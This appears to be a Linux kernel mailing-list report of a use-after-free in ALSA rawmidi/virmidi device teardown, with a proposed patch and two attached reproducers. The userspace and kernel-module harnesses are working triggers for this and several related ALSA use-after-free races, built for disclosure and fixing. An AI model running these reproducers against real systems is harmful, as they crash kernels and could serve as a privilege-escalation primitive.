ALSA: rawmidi: snd_rawmidi_free() tears down substreams and the private data while fds are still open and the virmidi output work is queued (UAF)
From: 徐晗翔
Date: Tue Dec 01 2026 - 07:45:33 EST
snd_rawmidi_free() (sound/core/rawmidi.c:1924-1941) -- reached from
snd_device_free(card, rmidi) -- unconditionally kfrees every
snd_rawmidi_substream (snd_rawmidi_free_substreams(), rawmidi.c:1919),
runs rmidi->private_free() (for the virmidi devices this kfrees the
struct snd_virmidi_dev), and kfrees the struct snd_rawmidi itself --
all without waiting for open file descriptors or in-flight operations.
snd_rawmidi_dev_disconnect() (rawmidi.c:2053-2086) merely unregisters
the minor and wakes sleepers; it does not swap file->f_op (that
protection exists only in the card-wide snd_card_disconnect()) and it
does not drain anything. An fd that stays open across the teardown
keeps rawmidi_file{rmidi,input,output} pointing at freed objects, and
the virmidi output path makes it worse: snd_virmidi_output_trigger()
queues vmidi->output_work on system_highpri_wq (seq_virmidi.c:179) and
that work dereferences vmidi->rdev and vmidi->substream
(seq_virmidi.c:142-158) -- all of which the free chain released; the
only cancel_work_sync() lives in the per-fd close, which a forced
teardown never runs.
Verified on mainline 7.3 with a faithful construction on the real
core: a module registers a real virmidi rawmidi (snd_virmidi_new()
through the real snd_rawmidi_new()/snd_device_register() path with the
real snd_seq_virmidi ops) exactly as the in-tree emux sub-driver does
(snd_emux_init_virmidi() shape), user space opens /dev/snd/midiC0D0
and writes (triggering output_work), and the controlled plan performs
snd_device_free(card, rmidi) -- the snd_emux_delete_virmidi() body
verbatim. Results: 71 KASAN reports (fd side:
slab-use-after-free in snd_rawmidi_write+0xbb; workqueue side:
snd_vmidi_output_work+0xb8 hit repeatedly) followed by a REAL kernel
Oops: "unable to handle page fault for address ffffffffffffffe0" at
snd_card_file_remove+0x74, reached from snd_rawmidi_release() on the
freed rmidi->card list -- i.e. the crash lands in the core close path
of an fd that outlived its device. Root rights are needed for the
teardown side only; the fd side needs no privileges. The affected
in-tree configuration is any card using the emux virmidi devices
(emu10k1-synth, emu8000-synth) with an independently removable
sub-driver.
The detailed description:
* Test environment / affected version (still present as of 7.4-rc5)
Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP PREEMPT_DYNAMIC
-- vanilla mainline 7.3, KASAN, QEMU/KVM x86_64 guest (2 vCPU).
sound/core/rawmidi.c and sound/core/seq/seq_virmidi.c are
byte-identical between the audited tree and the vanilla verification
tree.
* Mechanism
- open: snd_rawmidi_open() (rawmidi.c:432-531) pins only the CARD
module (L462 try_module_get(rmidi->card->module)); the virmidi
substream callbacks (seq_virmidi.c:185-235) take no module or
object reference at all.
- output path: every trigger(1) queues
vmidi->output_work on system_highpri_wq; the work loops over
snd_rawmidi_transmit(vmidi->substream) and reads vmidi->rdev->flags
(seq_virmidi.c:134-168). cancel_work_sync() exists only in the
per-fd snd_virmidi_output_close() (seq_virmidi.c:262-272).
- teardown: snd_emux_delete_virmidi() (emux_seq.c:375-389) ->
snd_device_free(card, rmidi) -> snd_rawmidi_dev_disconnect()
(register_mutex + open_mutex, wake sleepers, snd_unregister_device
-- no drain, no f_op swap) -> snd_rawmidi_free(): kfree(substream)
L1919, private_free -> kfree(rdev) L1936-1937, kfree(rmidi) L1939.
- users: fd write/read/ioctl dereference rawmidi_file{rmidi,input,
output}; close() runs snd_rawmidi_release() -> close_substream()
on the freed substream and snd_card_file_remove() on the freed
rmidi->card; the queued work dereferences the freed rdev and
substream.
* Trigger model
A user holds /dev/snd/midiC*D* open and writes (keeps output_work
busy); root removes the owning sub-driver (rmmod snd-emux-synth /
snd-emu10k1-synth). Every fd operation after the free, the final
close(), and the in-flight work are use-after-frees. Consequence:
multi-object kernel UAF read/write and a demonstrated hard Oops in
the core close path (potential privilege escalation primitive,
stable crash).
* Reproducer (attached: fwmr03.c + fwmr_test.c) and results on 7.3 (still present as of 7.4-rc5)
fwmr03.c registers a real virmidi device via snd_virmidi_new()
(real snd_rawmidi_new + snd_device_register + snd_card_register,
real snd_seq_virmidi ops table, real snd_seq kernel client) in the
shape of snd_emux_init_virmidi(); fwmr_test "mr03midi" opens
/dev/snd/midiC0D0 through the real snd_rawmidi_open() path and
hammers write/read while the plan performs snd_device_free(card,
rmidi) -- the snd_emux_delete_virmidi() body verbatim. Needs
CONFIG_SND_SEQUENCER=y, snd-rawmidi.ko, snd-seq-virmidi.ko,
snd-seq-midi-event.ko.
Results (7.3, 2 vCPU): 71 KASAN reports --
slab-use-after-free in snd_rawmidi_write+0xbb (fd side),
snd_vmidi_output_work+0xb8 in the events_highpri workqueue (work
side, multiple), then the hard Oops
"unable to handle page fault for address ffffffffffffffe0" at
snd_card_file_remove+0x74 (core close path on freed rmidi->card).
Full first report and the Oops are in the evidence file.
* Patch
snd_emux_delete_virmidi() (and any independent teardown path) calls
snd_device_free(card, rmidi), which runs snd_rawmidi_free():
kfree(substream) for every substream, rmidi->private_free() (frees
the virmidi rdev), and kfree(rmidi) -- none of which waits for open
file descriptors or the queued virmidi output work. The f_op swap
protection only exists in the card-wide snd_card_disconnect() path.
Refuse the free while any substream is opened: __snd_device_free()
unlinks the snd_device wrapper but leaves the object tree alive for
the open descriptors (bounded leak instead of a multi-object UAF and
the close-path Oops demonstrated in the report). Additionally never
kfree a substream whose ->opened flag is still set.
---
sound/core/rawmidi.c | 18 ++++++++++++++++--
1 file changed, 16 insertions(+), 2 deletions(-)
diff --git a/sound/core/rawmidi.c b/sound/core/rawmidi.c
--- a/sound/core/rawmidi.c
+++ b/sound/core/rawmidi.c
@@ -1912,12 +1912,22 @@ static int snd_rawmidi_dev_free(struct snd_device *device)
static void snd_rawmidi_free_substreams(struct snd_rawmidi_str *stream)
{
struct snd_rawmidi_substream *substream;
while (!list_empty(&stream->substreams)) {
substream = list_entry(stream->substreams.next,
struct snd_rawmidi_substream, list);
list_del(&substream->list);
+ if (substream->opened) {
+ /* an fd still holds this substream: keep it alive
+ * (bounded leak instead of a UAF from the stale fd
+ * and the virmidi output work) */
+ continue;
+ }
kfree(substream);
}
}
@@
int snd_rawmidi_free(struct snd_rawmidi *rmidi)
{
if (!rmidi)
return 0;
+ if (rmidi->streams[SNDRV_RAWMIDI_STREAM_INPUT].substream_opened ||
+ rmidi->streams[SNDRV_RAWMIDI_STREAM_OUTPUT].substream_opened) {
+ rmidi_err(rmidi, "rawmidi is still open, not freeing\n");
+ return -EBUSY;
+ }
snd_info_free_entry(rmidi->proc_entry);
--
2.43.0
Please keep me in Cc; I am not subscribed to the lists.
Regards,
Hanxiang Xu
xuhx@xxxxxxxxxxx
// SPDX-License-Identifier: GPL-2.0
/*
* fwmr_test.c - userspace driver for the sound/firewire FW-MR-* race
* verification harnesses (docs/manual-review-sound-firewire-2026-11-26.md).
*
* Plans:
* mr02hold [secs] - FW-MR-02 deterministic release-path variant: open
* /dev/snd/hwC0D0 (real snd_hwdep_open, used=1), read
* once, HOLD the fd across the kernel-side
* snd_emux_free() (host script triggers it), then
* ioctl + close on the freed hwdep -> real
* snd_hwdep_release() derefs freed hw (hw->card->module,
* mutex_lock(&hw->open_mutex), hw->used--).
* mr02hammer [iters] - FW-MR-02 in-flight variant (same shape as the
* synth report's mr03, re-attributed): open + ioctl
* hammer while the free runs on the other side.
* mr03midi [secs] - FW-MR-03: poll for /dev/snd/midiC0D0, open
* O_WRONLY|O_NONBLOCK (real snd_rawmidi_open ->
* snd_virmidi_output_open INIT_WORK), write MIDI bytes
* (real snd_rawmidi_output_trigger -> queue_work
* system_highpri_wq), HOLD across fw3_free, write
* again (in-flight work + write path on freed rmidi),
* close (snd_rawmidi_release on freed rmidi).
* mr04pcm [secs] - FW-MR-04: poll for /dev/snd/pcmC1D0p, open (real
* snd_pcm_open, ref_count=1), hammer
* SNDRV_PCM_IOCTL_PVERSION/PINFO, HOLD across fw4_free
* (snd_device_free(card, pcm)), ioctl + close on the
* freed substream/pcm (real snd_pcm_release path).
* mr01read [secs] - FW-MR-01 reader side: hammer
* SNDRV_CTL_IOCTL_ELEM_LIST + ELEM_INFO on
* /dev/snd/controlC0 while a dangling (freed but
* still-linked) jack kcontrol sits in card->controls.
* mr06storm [secs] - FW-MR-06 writer side: loop SNDRV_CTL_IOCTL_ELEM_ADD +
* ELEM_REMOVE of a user control with iface=CARD whose
* name is copied from an existing CARD control (same
* ctl_hash key as the jack controls the reconfig probe
* looks up locklessly in get_available_index()).
* waitdev <path> [timeout_ms] - poll until a device node appears.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sound/asound.h>
#include "include/sound/sfnt_info.h"
static void waitdev(const char *path, int timeout_ms)
{
int waited = 0;
struct stat st;
while (stat(path, &st) != 0) {
if (waited >= timeout_ms)
return;
usleep(20000);
waited += 20;
}
}
/* ---- FW-MR-02 ---- */
static int plan_mr02hold(int secs)
{
int fd;
unsigned int ver = 0;
waitdev("/dev/snd/hwC0D0", 8000);
fd = open("/dev/snd/hwC0D0", O_RDWR);
if (fd < 0) {
fprintf(stderr, "open hwC0D0: %s\n", strerror(errno));
return 1;
}
printf("MR02HOLD: fd open (hw->used=1), VERSION probe done\n");
fflush(stdout);
printf("MR02HOLD: holding fd for %ds (host frees emux now)\n", secs);
fflush(stdout);
sleep(secs);
printf("MR02HOLD: ioctl on freed hwdep (in snd_hwdep_ioctl path)\n");
fflush(stdout);
ioctl(fd, SNDRV_EMUX_IOCTL_VERSION, &ver);
printf("MR02HOLD: closing -> real snd_hwdep_release() on freed hw\n");
fflush(stdout);
close(fd);
printf("MR02HOLD: reopen attempt (minor unregistered -> ENODEV)\n");
fflush(stdout);
close(open("/dev/snd/hwC0D0", O_RDWR));
printf("MR02HOLD: done\n");
return 0;
}
static int plan_mr02hammer(int iters)
{
int fd, i;
unsigned int ver = 0;
waitdev("/dev/snd/hwC0D0", 8000);
fd = open("/dev/snd/hwC0D0", O_RDWR);
if (fd < 0) {
fprintf(stderr, "open hwC0D0: %s\n", strerror(errno));
return 1;
}
printf("MR02HAMMER: %d ioctl iterations\n", iters);
fflush(stdout);
for (i = 0; i < iters; i++) {
ioctl(fd, SNDRV_EMUX_IOCTL_VERSION, &ver);
if ((i % 256) == 0) {
printf("MR02HAMMER: iter %d\n", i);
fflush(stdout);
}
usleep(100);
}
printf("MR02HAMMER: closing\n");
fflush(stdout);
close(fd);
sleep(2);
close(open("/dev/snd/hwC0D0", O_RDWR));
printf("MR02HAMMER: done\n");
return 0;
}
/* ---- FW-MR-03 ---- */
static int plan_mr03midi(int secs)
{
int fd, n = 0;
unsigned char msg[3] = { 0x90, 0x40, 0x7f };
waitdev("/dev/snd/midiC0D0", 15000);
fd = open("/dev/snd/midiC0D0", O_WRONLY | O_NONBLOCK);
if (fd < 0) {
fprintf(stderr, "open midiC0D0: %s\n", strerror(errno));
return 1;
}
printf("MR03MIDI: opened output; writing bytes (arms output_work)\n");
fflush(stdout);
/* a few writes: each runs snd_rawmidi_kernel_write1 ->
* snd_rawmidi_output_trigger(substream, 1) -> queue_work */
for (n = 0; n < 32; n++)
{ ssize_t wr_ = write(fd, msg, sizeof(msg)); (void)wr_; }
printf("MR03MIDI: %d writes queued; holding fd for %ds "
"(host frees emux now)\n", n, secs);
fflush(stdout);
sleep(secs);
printf("MR03MIDI: writing again on freed rmidi\n");
fflush(stdout);
for (n = 0; n < 8; n++)
{ ssize_t wr_ = write(fd, msg, sizeof(msg)); (void)wr_; }
printf("MR03MIDI: closing -> real snd_rawmidi_release() on freed rmidi\n");
fflush(stdout);
close(fd);
printf("MR03MIDI: reopen attempt (minor unregistered -> ENODEV)\n");
fflush(stdout);
close(open("/dev/snd/midiC0D0", O_WRONLY | O_NONBLOCK));
printf("MR03MIDI: done\n");
return 0;
}
/* ---- FW-MR-04 ---- */
static int plan_mr04pcm(int secs)
{
int fd, i;
unsigned int ver = 0;
struct snd_pcm_info info;
waitdev("/dev/snd/pcmC1D0p", 15000);
fd = open("/dev/snd/pcmC1D0p", O_WRONLY);
if (fd < 0) {
fprintf(stderr, "open pcmC0D0p: %s\n", strerror(errno));
return 1;
}
printf("MR04PCM: opened via real snd_pcm_open (ref_count=1)\n");
fflush(stdout);
for (i = 0; i < 64; i++) {
ioctl(fd, SNDRV_PCM_IOCTL_PVERSION, &ver);
memset(&info, 0, sizeof(info));
ioctl(fd, SNDRV_PCM_IOCTL_INFO, &info);
usleep(1000);
}
printf("MR04PCM: 64 probe ioctls done; holding fd for %ds "
"(host frees pcm now)\n", secs);
fflush(stdout);
sleep(secs);
printf("MR04PCM: INFO ioctl on freed substream/pcm (in snd_pcm_info)\n");
fflush(stdout);
memset(&info, 0, sizeof(info));
ioctl(fd, SNDRV_PCM_IOCTL_INFO, &info);
printf("MR04PCM: closing -> real snd_pcm_release() on freed objects\n");
fflush(stdout);
close(fd);
printf("MR04PCM: reopen attempt (minor unregistered -> ENODEV)\n");
fflush(stdout);
close(open("/dev/snd/pcmC1D0p", O_WRONLY));
printf("MR04PCM: done\n");
return 0;
}
/* ---- FW-MR-01 / FW-MR-06 control-face helpers ---- */
static int ctl_open(void)
{
int fd = open("/dev/snd/controlC0", O_RDWR);
if (fd < 0)
fprintf(stderr, "open controlC0: %s\n", strerror(errno));
return fd;
}
static int plan_mr01read(int secs)
{
int fd, i, n, err;
struct snd_ctl_elem_list list;
struct snd_ctl_elem_id *ids;
struct snd_ctl_elem_info info;
unsigned long until = (unsigned long)time(NULL) + secs;
fd = ctl_open();
if (fd < 0)
return 1;
ids = calloc(256, sizeof(*ids));
printf("MR01READ: hammering ELEM_LIST+ELEM_INFO for %ds\n", secs);
fflush(stdout);
i = 0;
while ((unsigned long)time(NULL) < until) {
memset(&list, 0, sizeof(list));
list.offset = 0;
list.space = 256;
list.pids = ids;
err = ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &list);
if (err < 0)
break;
for (n = 0; n < (int)list.count && n < 256; n++) {
memset(&info, 0, sizeof(info));
info.id = ids[n];
ioctl(fd, SNDRV_CTL_IOCTL_ELEM_INFO, &info);
}
if ((++i % 64) == 0) {
printf("MR01READ: round %d (count=%u)\n", i, list.count);
fflush(stdout);
}
usleep(2000);
}
printf("MR01READ: done (%d rounds)\n", i);
free(ids);
close(fd);
return 0;
}
static int plan_mr06storm(int secs)
{
int fd, card, i, added = 0;
struct snd_ctl_elem_list list;
struct snd_ctl_elem_id *ids;
struct snd_ctl_elem_info info;
struct snd_ctl_elem_id remove_id;
unsigned long until = (unsigned long)time(NULL) + secs;
fd = ctl_open();
if (fd < 0)
return 1;
/* take the name of an existing CARD-interface control so the user
* control shares the ctl_hash key of the jack controls that the
* reconfig probe's get_available_index() looks up locklessly */
ids = calloc(256, sizeof(*ids));
memset(&list, 0, sizeof(list));
list.offset = 0;
list.space = 256;
list.pids = ids;
if (ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &list) < 0) {
fprintf(stderr, "ELEM_LIST: %s\n", strerror(errno));
free(ids);
close(fd);
return 1;
}
memset(&info, 0, sizeof(info));
for (i = 0; i < (int)list.count && i < 256; i++) {
info.id = ids[i];
if (ioctl(fd, SNDRV_CTL_IOCTL_ELEM_INFO, &info) < 0)
continue;
if (info.id.iface == SNDRV_CTL_ELEM_IFACE_CARD)
break;
}
if (i >= (int)list.count) {
fprintf(stderr, "no CARD control found\n");
free(ids);
close(fd);
return 1;
}
printf("MR06STORM: adding/removing iface=CARD user control '%s' "
"for %ds\n", info.id.name, secs);
fflush(stdout);
i = 0;
while ((unsigned long)time(NULL) < until) {
memset(&info, 0, sizeof(info));
info.id.iface = SNDRV_CTL_ELEM_IFACE_CARD;
strncpy((char *)info.id.name, "Headphone Jack",
sizeof(info.id.name) - 1);
info.type = SNDRV_CTL_ELEM_TYPE_BOOLEAN;
info.count = 1;
info.owner = 0;
if (ioctl(fd, SNDRV_CTL_IOCTL_ELEM_ADD, &info) < 0)
goto drop;
added++;
remove_id = info.id;
ioctl(fd, SNDRV_CTL_IOCTL_ELEM_REMOVE, &remove_id);
drop:
if ((++i % 256) == 0) {
printf("MR06STORM: round %d (added=%d)\n", i, added);
fflush(stdout);
}
usleep(500);
}
(void)card;
printf("MR06STORM: done (%d rounds, %d added)\n", i, added);
free(ids);
close(fd);
return 0;
}
static int plan_mr01dump(void)
{
int fd, n, err;
struct snd_ctl_elem_list list;
struct snd_ctl_elem_id *ids;
struct snd_ctl_elem_info info;
fd = ctl_open();
if (fd < 0)
return 1;
ids = calloc(256, sizeof(*ids));
memset(&list, 0, sizeof(list));
list.offset = 0;
list.space = 256;
list.pids = ids;
err = ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &list);
if (err < 0) {
printf("MR01DUMP: ELEM_LIST failed (%s)\n", strerror(errno));
free(ids);
close(fd);
return 1;
}
printf("MR01DUMP: controls_count=%u (dangling entry stays listed)\n",
list.count);
fflush(stdout);
for (n = 0; n < (int)list.count && n < 256; n++) {
memset(&info, 0, sizeof(info));
info.id = ids[n];
ioctl(fd, SNDRV_CTL_IOCTL_ELEM_INFO, &info);
printf("MR01DUMP: numid=%-5u iface=%d %s\n",
ids[n].numid, ids[n].iface, ids[n].name);
fflush(stdout);
}
free(ids);
close(fd);
return 0;
}
int main(int argc, char **argv)
{
if (argc < 2) {
fprintf(stderr, "usage: fwmr_test <plan> [arg]\n");
return 2;
}
if (!strcmp(argv[1], "mr02hold"))
return plan_mr02hold(argc > 2 ? atoi(argv[2]) : 4);
if (!strcmp(argv[1], "mr02hammer"))
return plan_mr02hammer(argc > 2 ? atoi(argv[2]) : 20000);
if (!strcmp(argv[1], "mr03midi"))
return plan_mr03midi(argc > 2 ? atoi(argv[2]) : 6);
if (!strcmp(argv[1], "mr04pcm"))
return plan_mr04pcm(argc > 2 ? atoi(argv[2]) : 6);
if (!strcmp(argv[1], "mr01dump"))
return plan_mr01dump();
if (!strcmp(argv[1], "mr01read"))
return plan_mr01read(argc > 2 ? atoi(argv[2]) : 15);
if (!strcmp(argv[1], "mr06storm"))
return plan_mr06storm(argc > 2 ? atoi(argv[2]) : 60);
if (!strcmp(argv[1], "waitdev"))
return (waitdev(argv[2], argc > 3 ? atoi(argv[3]) : 10000), 0);
fprintf(stderr, "unknown plan %s\n", argv[1]);
return 2;
}
// SPDX-License-Identifier: GPL-2.0
/*
* fwmr03.c - dynamic verification harness for audit case FW-MR-03
* (docs/manual-review-sound-firewire-2026-11-26.md, v4):
*
* "ç?¬ç«?å?驱å?¨ snd_device_free(card, rmidi) ä¸?å?¨é?? /dev/snd/midiC*D* æ??ä½?
* å?? system_highpri_wq å·¥ä½?项é?´ç?? snd_rawmidi/substream/rdev å¤?对象 UAF"
*
* It registers a REAL emux on a virtual card with midi_ports=2, so
* snd_emux_init_virmidi() (emux_seq.c:340-373) creates the real
* /dev/snd/midiC0D0 + midiC0D1 virmidi rawmidi devices exactly like
* snd_emu10k1_synth_probe()/snd_emu8000_probe() do. The userspace side
* (fwmr_test mr03midi) opens midiC0D0 O_WRONLY, which runs the real
* snd_rawmidi_open()/snd_virmidi_output_open() path (INIT_WORK at
* seq_virmidi.c:232), and write()s bytes which run the real
* snd_rawmidi_output_trigger -> snd_virmidi_output_trigger ->
* queue_work(system_highpri_wq, &vmidi->output_work) path (seq_virmidi.c:179).
*
* Writing "1" to /sys/module/fwmr03/parameters/fw3_free runs
* snd_emux_free() (the sub-driver remove body, emux.c:124-145):
* snd_emux_delete_virmidi() -> snd_device_free(card, vmidi[i]) ->
* snd_rawmidi_dev_disconnect() (no drain) -> snd_rawmidi_free():
* kfree(substream)@rawmidi.c:1919 / kfree(rdev)@1937 / kfree(rmidi)@1939
* with no cancel_work_sync() and no fd drain -- the audited FW-MR-03
* release chain. Expected hits:
* T3a: snd_vmidi_output_work() derefs freed vmidi->substream /
* vmidi->rdev / substream->lock (freed-work + freed-substream UAF)
* T3b: close(fd) -> snd_rawmidi_release() locks freed rmidi->open_mutex,
* rawmidi_release_priv() touches freed substream/rdev
*
* Zero kernel source modification; the audited code paths are the
* byte-identical in-tree modules.
*/
#define pr_fmt(fmt) "FWMR03: " fmt
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/device.h>
#include <sound/core.h>
#include <sound/emux_synth.h>
#include <sound/util_mem.h>
static struct device *parent;
static struct snd_card *card;
static struct snd_emux *emu;
/* ---- minimal fake backend (same contract as emu10k1_callback.c) ---- */
static int f3_start_voice(struct snd_emux_voice *vp) { return 0; }
static void f3_trigger(struct snd_emux_voice *vp) {}
static void f3_release(struct snd_emux_voice *vp) {}
static void f3_update(struct snd_emux_voice *vp, int update) {}
static void f3_terminate(struct snd_emux_voice *vp) {}
static int f3_sample_new(struct snd_emux *e, struct snd_sf_sample *sp,
struct snd_util_memhdr *hdr,
const void __user *data, long count)
{
sp->block = snd_util_mem_alloc(hdr, count > 0 ? count : 256);
return sp->block ? 0 : -ENOMEM;
}
static int f3_sample_free(struct snd_emux *e, struct snd_sf_sample *sp,
struct snd_util_memhdr *hdr)
{
if (sp->block) {
snd_util_mem_free(hdr, sp->block);
sp->block = NULL;
}
return 0;
}
static const struct snd_emux_operators f3_ops = {
.owner = THIS_MODULE,
.get_voice = NULL, /* note_on unused in this plan */
.prepare = f3_start_voice,
.trigger = f3_trigger,
.release = f3_release,
.update = f3_update,
.terminate = f3_terminate,
.sample_new = f3_sample_new,
.sample_free = f3_sample_free,
};
static int f3_emux_setup(void)
{
int err;
err = snd_emux_new(&emu);
if (err < 0)
return err;
emu->ops = f3_ops;
emu->hw = card; /* non-NULL "hardware"; never dereferenced */
emu->max_voices = 8;
emu->num_ports = 1;
emu->midi_ports = 2; /* THE FW-MR-03 delta: create real virmidi */
emu->midi_devidx = 0; /* /dev/snd/midiC0D0 + midiC0D1 */
emu->hwdep_idx = 0; /* /dev/snd/hwC0D0 (same as harness default) */
emu->linear_panning = 0;
emu->memhdr = snd_util_memhdr_new(0x100000);
if (!emu->memhdr) {
snd_emux_free(emu);
emu = NULL;
return -ENOMEM;
}
err = snd_emux_register(emu, card, 0, "fwmr03");
if (err < 0) {
pr_err("snd_emux_register failed: %d\n", err);
snd_util_memhdr_free(emu->memhdr);
snd_emux_free(emu);
emu = NULL;
return err;
}
snd_card_register(card);
pr_info("emux registered: hwdep=hwC0D0 virmidi=midiC0D0/midiC0D1\n");
return 0;
}
/* ---- FW-MR-03 release trigger: sub-driver remove body ---- */
static int fw3_free_set(const char *val, const struct kernel_param *kp)
{
if (!emu)
return -ENODEV;
pr_info("calling snd_emux_free() (sub-driver remove body) with "
"midi fd open + output_work armed\n");
snd_emux_free(emu);
emu = NULL;
pr_info("snd_emux_free() done\n");
return 0;
}
static const struct kernel_param_ops fw3_free_ops = { .set = fw3_free_set };
module_param_cb(fw3_free, &fw3_free_ops, NULL, 0200);
/* ---- module plumbing ---- */
static int __init fwmr03_init(void)
{
int err;
parent = root_device_register("fwmr03");
if (IS_ERR(parent))
return PTR_ERR(parent);
err = snd_card_new(parent, 0, "fwmr03", THIS_MODULE, 0, &card);
if (err < 0) {
root_device_unregister(parent);
parent = NULL;
return err;
}
return f3_emux_setup();
}
static void __exit fwmr03_exit(void)
{
if (emu) {
snd_emux_free(emu);
emu = NULL;
}
if (card) {
snd_card_free(card);
card = NULL;
}
if (parent) {
root_device_unregister(parent);
parent = NULL;
}
}
module_init(fwmr03_init);
module_exit(fwmr03_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("FW-MR-03 virmidi/rawmidi race verification harness");